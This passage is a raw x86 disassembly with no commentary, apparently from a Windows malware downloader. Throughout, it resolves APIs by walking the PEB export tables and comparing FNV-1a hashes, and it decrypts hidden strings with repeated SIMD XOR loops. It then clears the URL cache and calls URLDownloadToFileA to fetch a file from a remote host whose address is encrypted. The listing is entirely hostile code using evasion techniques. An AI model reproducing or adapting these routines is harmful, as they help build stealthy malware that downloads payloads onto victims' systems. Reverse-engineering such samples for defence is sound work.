add eax, 8
cmp eax, 0x24
jl 0x413750
mov dword [ebp - 0x4b4], edx
cmp edx, 0x21
jge 0x413897
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x26c], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x21
jl 0x413860
lea ecx, [ebp - 0x26c]
call fcn.004031d0
mov edx, dword [ebp - 0x28c]
cmp edx, 0x10
jb 0x4157f4
mov ecx, dword [ebp - 0x2a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415603
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4160e4
jmp 0x415603
test edi, edi
je 0x413b20
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x41397a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41397a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0xeffd1d9e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41396d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x413950
cmp esi, 0xe6cd7b58
je 0x413981
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x413930
mov eax, dword [eax]
jmp 0x4138f3
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp eax, 0xb7
jne 0x413cf4
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x413a3b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x413a3b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0xad49ce1d
mov cl, byte [edx]
inc edx
test cl, cl
je 0x413a2e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x413a11
cmp esi, 0xb439212d
je 0x413a3f
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4139f6
mov eax, dword [eax]
jmp 0x4139c0
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
push dword [ebp - 0x4c8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x234], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x413aed
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x413aed
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0x2ee10ed4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x413ae0
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x413ac3
cmp esi, 0xcac9245e
je 0x413af1
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x413aa8
mov eax, dword [eax]
jmp 0x413a72
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
push dword [ebp - 0x4c8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
nop dword [eax + eax]
movups xmm0, xmmword [0x49e8b4]
mov al, byte [0x49e8d4]
xor edx, edx
mov edi, dword [0x4a5684]
mov byte [ebp - 0x3b4], al
mov dword [ebp - 0x4b4], edx
movups xmmword [ebp - 0x3d4], xmm0
movups xmm0, xmmword [0x49e8c4]
movups xmmword [ebp - 0x3c4], xmm0
cmp edi, 2
jl 0x413cb0
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
nop dword [eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3d8]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x3d8], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x3d4]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x3d4], xmm1
add eax, 8
cmp eax, 0x24
jl 0x413ba0
mov dword [ebp - 0x4b4], edx
cmp edx, 0x21
jge 0x413ce7
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x3d4], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x21
jl 0x413cb0
lea ecx, [ebp - 0x3d4]
call fcn.004031d0
jmp 0x413cfa
mov edi, dword [0x4a5684]
call fcn.00418100
mov esi, eax
mov dword [ebp - 0x234], esi
test esi, esi
je 0x415612
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x360]
cmp dword [ebp - 0x34c], 0x10
mov dword [ebp - 0x290], 0
cmovae ecx, dword [ebp - 0x360]
push ecx
push 0x2712
push esi
mov dword [ebp - 0x28c], 0xf
call fcn.0041bd90
add esp, 0xc
push 1
push 0x34
push esi
call fcn.0041bd90
add esp, 0xc
push 0x403170
push 0x4e2b
push esi
call fcn.0041bd90
add esp, 0xc
lea eax, [ebp - 0x2a0]
push eax
push 0x2711
push esi
call fcn.0041bd90
add esp, 0xc
push esi
call fcn.00418160
add esp, 4
mov dword [ebp - 0x4c8], eax
test eax, eax
jne 0x415342
mov ax, word [0x49f198]
cmp dword [ebp - 0x28c], 0x10
movups xmm0, xmmword [0x49f180]
mov word [ebp - 0x24c], ax
mov al, byte [0x49f19a]
mov byte [ebp - 0x24a], al
lea eax, [ebp - 0x2a0]
cmovae eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x4c8], eax
mov eax, dword fs:[0x30]
movups xmmword [ebp - 0x264], xmm0
movq xmm0, qword [0x49f190]
movq qword [ebp - 0x254], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x22c], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x413e7b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x413e7b
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0x942e8aa5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x413e6e
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x413e51
cmp esi, 0x4fc80474
je 0x413e7f
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x413e36
mov eax, dword [eax]
jmp 0x413e00
mov eax, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
add esi, edx
xor edx, edx
cmp dword [0x4a5684], 2
mov dword [ebp - 0x4b4], edx
jl 0x414000
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov ecx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [edx + 4]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x268]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + eax - 0x268], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + eax - 0x264]
pxor xmm1, xmm0
movd dword [ebp + eax - 0x264], xmm1
add eax, 8
cmp eax, 0x1c
jl 0x413ef1
mov dword [ebp - 0x4b4], edx
cmp edx, 0x1b
jge 0x414037
nop
mov eax, 0x288df0cb
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4b4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x264], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 0x1b
jl 0x414000
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 0x4c8]
call esi
add esp, 8
test eax, eax
jne 0x414a1a
lea eax, [ebp - 0x2b0]
push eax
call fcn.00416120
mov edi, eax
cmp byte [edi + 0xe], 0
je 0x4141b8
xor ecx, ecx
cmp dword [0x4a5684], 2
mov dword [ebp - 0x4b4], ecx
jl 0x414185
movaps xmm2, xmmword [0x49f2f0]
mov eax, 4
movaps xmm4, xmmword [0x49f330]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x4b4], ecx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [0x49f340]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x49f300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [edi], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi + 4]
pxor xmm1, xmm0
movd dword [edi + 4], xmm1
mov eax, 0x288df0cb
lea esi, [ecx + edi]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esi], cl
mov ecx, dword [ebp - 0x4b4]
inc ecx
mov dword [ebp - 0x4b4], ecx
cmp ecx, 0xf
jl 0x414185
push edi
lea ecx, [ebp - 0x424]
call fcn.00416550
lea ecx, [ebp - 0x424]
call fcn.004162f0
lea ecx, [ebp - 0x37c]
mov esi, eax
call fcn.0040b300
mov ecx, eax
call fcn.004162f0
push esi
push eax
call fcn.0046f3a4
add esp, 8
lea ecx, [ebp - 0x37c]
call fcn.00416360
lea eax, [ebp - 0x450]
push eax
call fcn.00416160
mov edi, eax
cmp byte [edi + 0x2a], 0
je 0x414396
xor ecx, ecx
cmp dword [0x4a5684], 2
mov dword [ebp - 0x4b4], ecx
jl 0x414363
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov edx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [ecx + 4]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [edi + eax - 4]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edi + eax - 4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [eax + edi]
pxor xmm1, xmm0
movd dword [eax + edi], xmm1
add eax, 8
cmp eax, 0x2c
jl 0x414263
mov dword [ebp - 0x4b4], ecx
cmp ecx, 0x2b
jge 0x414396
mov eax, 0x288df0cb
lea esi, [ecx + edi]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esi], cl
mov ecx, dword [ebp - 0x4b4]
inc ecx
mov dword [ebp - 0x4b4], ecx
cmp ecx, 0x2b
jl 0x414363
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4b4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x4c4], ecx
cmp ecx, esi
je 0x41442a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x41442a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x22c], ecx
dec edi
mov esi, 0x6c325361
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41441d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x414400
cmp esi, 0xba573f84
je 0x41442e
mov ecx, dword [ebp - 0x22c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4143e3
mov eax, dword [eax]
jmp 0x4143b0
mov esi, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x4b4]
push 0x12c
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea eax, [ebp - 0x47c]
push eax
call fcn.00416160
mov edi, eax
cmp byte [edi + 0x2a], 0
je 0x4145f4
xor ecx, ecx
cmp dword [0x4a5684], 2
mov dword [ebp - 0x4b4], ecx
jl 0x4145c1
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov edx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [ecx + 4]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [edi + eax - 4]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edi + eax - 4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [edi + eax]
pxor xmm1, xmm0
movd dword [edi + eax], xmm1
add eax, 8
cmp eax, 0x2c
jl 0x4144c1
mov dword [ebp - 0x4b4], ecx
cmp ecx, 0x2b
jge 0x4145f4
mov eax, 0x288df0cb
lea esi, [ecx + edi]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esi], cl
mov ecx, dword [ebp - 0x4b4]
inc ecx
mov dword [ebp - 0x4b4], ecx
cmp ecx, 0x2b
jl 0x4145c1
push edi
lea ecx, [ebp - 0x2d4]
call fcn.00416550
lea eax, [ebp - 0x2e4]
push eax
call fcn.004161a0
mov edi, eax
cmp byte [edi + 0xa], 0
je 0x414654
xor ecx, ecx
mov dword [ebp - 0x4b4], ecx
mov eax, 0x446f8657
lea esi, [ecx + edi]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esi], cl
mov ecx, dword [ebp - 0x4b4]
inc ecx
mov dword [ebp - 0x4b4], ecx
cmp ecx, 0xb
jl 0x414620
push edi
lea ecx, [ebp - 0x318]
call fcn.00416550
lea ecx, [ebp - 0x318]
call fcn.004162f0
lea ecx, [ebp - 0x2d4]
mov esi, eax
call fcn.004162f0
push 0
push 0x3030
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0x4b0]
push eax
call fcn.004161d0
mov esi, dword [0x4a5684]
mov edi, eax
cmp byte [edi + 0x31], 0
je 0x414839
xor ecx, ecx
mov dword [ebp - 0x4b4], ecx
cmp esi, 2
jl 0x414800
movaps xmm0, xmmword [0x49f340]
mov eax, 4
movaps xmm4, xmmword [0x49f2f0]
movaps xmm3, xmmword [0x49f330]
movaps xmm6, xmmword [0x49f310]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x4c0], xmm0
mov edx, dword [ebp - 0x4c0]
movd xmm7, eax
lea eax, [ecx + 4]
nop word [eax + eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [edi + eax - 4]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edi + eax - 4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [edi + eax]
pxor xmm1, xmm0
movd dword [edi + eax], xmm1
add eax, 8
cmp eax, 0x34
jl 0x414700
mov dword [ebp - 0x4b4], ecx
cmp ecx, 0x32
jge 0x414839
mov eax, 0x288df0cb
lea esi, [ecx + edi]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esi], cl
mov ecx, dword [ebp - 0x4b4]
inc ecx
mov dword [ebp - 0x4b4], ecx
cmp ecx, 0x32
jl 0x414800
mov esi, dword [0x4a5684]
mov ecx, edi
call fcn.00403aa0
lea eax, [ebp - 0x248]
push eax
call fcn.00416230
mov edi, eax
mov dword [ebp - 0x22c], edi
cmp byte [edi + 7], 0
je 0x4149a4
xor ecx, ecx
mov dword [ebp - 0x4b4], ecx
cmp esi, 2
jl 0x414970
movaps xmm2, xmmword [0x49f2f0]
mov eax, 4
movaps xmm4, xmmword [0x49f330]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [0x49f340]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x49f300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [edi], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edi + 4]
pxor xmm1, xmm0
movd dword [edi + 4], xmm1
jmp 0x4149a4
mov eax, 0x446f8657
lea esi, [ecx + edi]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esi], cl
mov ecx, dword [ebp - 0x4b4]
inc ecx
mov dword [ebp - 0x4b4], ecx
cmp ecx, 8
jl 0x414970
lea ecx, [ebp - 0x318]
call fcn.004162f0
mov dword [ebp - 0x4c4], eax
lea eax, [ebp - 0x240]
push eax
call fcn.00416210
mov dword [ebp - 0x4c8], eax
cmp byte [eax + 4], 0
je 0x4160f5
xor ecx, ecx
mov edi, eax
mov dword [ebp - 0x4b4], ecx
nop dword [eax + eax]
mov eax, 0x446f8657
lea esi, [ecx + edi]
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [esi], cl
mov ecx, dword [ebp - 0x4b4]
inc ecx
mov dword [ebp - 0x4b4], ecx
cmp ecx, 5
